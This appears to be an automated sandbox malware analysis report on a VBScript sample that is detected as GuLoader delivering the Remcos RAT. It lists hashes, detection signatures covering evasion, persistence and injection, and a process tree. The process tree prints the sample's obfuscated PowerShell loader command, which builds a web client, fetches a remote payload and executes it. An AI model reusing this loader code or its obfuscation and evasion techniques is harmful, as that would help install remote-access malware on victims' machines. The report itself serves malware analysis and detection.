Edit tour
Windows
Analysis Report
Beschwerde-AutoKauf.vbs
Overview
General Information
| Sample name: | Beschwerde-AutoKauf.vbs |
| Analysis ID: | 1565785 |
| MD5: | 4446681fce0cae163942eb162fd4ee76 |
| SHA1: | 9c235cf72cebbbb0c5bd480add8f1c2db437b793 |
| SHA256: | 7ab71eea03d84976609bb0ed19aa1b33b784731a357065900618ae4c3b8761db |
| Tags: | 87-120-127-42vbsuser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
GuLoader, Remcos
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 6120 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Besch werde-Auto Kauf.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 1620 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" ";$erotici zing='Fede rarie';;$S lambehandl ingsanlgge ts='Shadow ishly';;$U dfolder='B riarwood'; ;$Jkel='Ba ckingbande t';;$Ganga realerne13 8='Karakte ristikkern es';;$Doku menttype=$ host.Name; function H jemmemarke dernes($Ro dfstede){I f ($Dokume nttype) {$ Afhjulpne= 2} for ($F abrikation ens=$Afhju lpne;;$Fab rikationen s+=3){if(! $Rodfstede [$Fabrikat ionens]) { break }$P uncheon+=$ Rodfstede[ $Fabrikati onens]}$Pu ncheon}fun ction ausp iciums($ou ananiche){ .($Recirc ulated) ($ ouananiche )}$Cockney fying=Hjem memarkeder nes ' n .E PiT .UnwTi E eBEpc,eL UsIHaeH nR T';$Nonca ndescent=H jemmemarke dernes 'Aa Mlno AzT,i Inl ,l a,e /';$Thorac ostenosis= Hjemmemark edernes 'S .T OlA,sTh 1We2';$Kar tonets247= 'Jo[ SNAnE oTB . ,S, nES.RA v , I RCSte ,p slO riKnN. iTMambaaHa n ,AE GSmE Str ] l:G :D S DEV.C TeuCerBiIF otDuY EP r R.aOMiT iO m csuoTel r= L$CotAr HVgOXeRDia TacAcoUnSP tEpEUnNS OP,sV iHes ';$Noncand escent+=Hj emmemarked ernes 'No5 e.f 0St R (G WeriScn .odAuoRewT os K RgNAd TSl Sr1Oa0 ,e.Cr0Un;G o EpW eiKu n,r6 D4Ty; Re ax o6Fi 4 a; HrOx vAf: V1 r3 Si1 H.De0D a) l .GTve GacStkOvoS t/Ma2Be0Re 1Co0I.0 O1 de0in1Ho C hF HiBhrGe eSkfIdo rx Un/Re1m,3I b1lu. i0'; $Engangsaf gift=Hjemm emarkedern es '.aU.iS oeCrr l-P yADigUne N S.t';$Ammu nitionsfab rikkens=Hj emmemarked ernes ' Th tCot Fp.t sdv:Sp/Pa/ wUtw.nwO .AdlExeMeb InePen es. erEkaFreOl uIam MeUd- KogStgHamS bUnhAk.In d Se / StC oep mThpAn lSdaT tO.e St/Hei.on ecRu_LycAf sJesSt/Fys op seMec ,iPlfLeiU. cMa/ReKslv uiUmdcorM oeG da.eP sMo. BpR c nz';$mois tureproof= Hjemmemark edernes ' B>';$Recir culated=Hj emmemarked ernes 'vii SkEKeX';$A nionics='R esbolig';$ Arcuation= '\raadede. Erg';auspi ciums (Hje mmemarkede rnes 'Un$M ,g Ul mO.t bBiAJaL :G hlQyYU,OEf nUneAbtBlI FyaEo=Bo$U nE,vnAavSi : OAtiPSuP unD ta pTT rA A+bl$S aUnrSec,au GraStt CIF ooAfn');au spiciums ( Hjemmemark edernes ' .$Sig rl,r OInBL a rl Fo:BaR iiS anStN eI d Ebe=Vi$ BA .m mAmUL n ,iItTG I MaoSpNSpS eFNoaEnbme rUfi kR KV aePrn TSBa .EnsMaP SL M IAnTTi(W r$BiMpaoTa IMos rtBuU q REpEDyp mrS OTro d FLi)');aus piciums (H jemmemarke dernes $Ka rtonets247 );$Ammunit ionsfabrik kens=$Rinn ie[0];$Cha ffer=(Hjem memarkeder nes 'gu$ov GBulMaOMiB IsaKrlMa: Tb Ko,urGa TSySAnk MA D F aF SE alFosS,e K SK mcoENot s o OdSieK oR mnMoEAd = BnPrEY.W St- COSuBS kjOvEDuCUn tF HjSCoYK S QTNeEF MS .S $ fc .OL c Hk ,n Ce rY R fSuyB i eN og');ausp iciums ($C haffer);au spiciums ( Hjemmemark edernes 'h $,sBVioSe rSttA s.uk B aTufPrf PeFrlNasAn eTes dm je GatUnoEgdB ue r Kn ,e N.BeHZ,eh aaB dwieUd rPhsko[I $ ERennegPo aPanU.g,rs ,eaWifGagS .iG fRntUd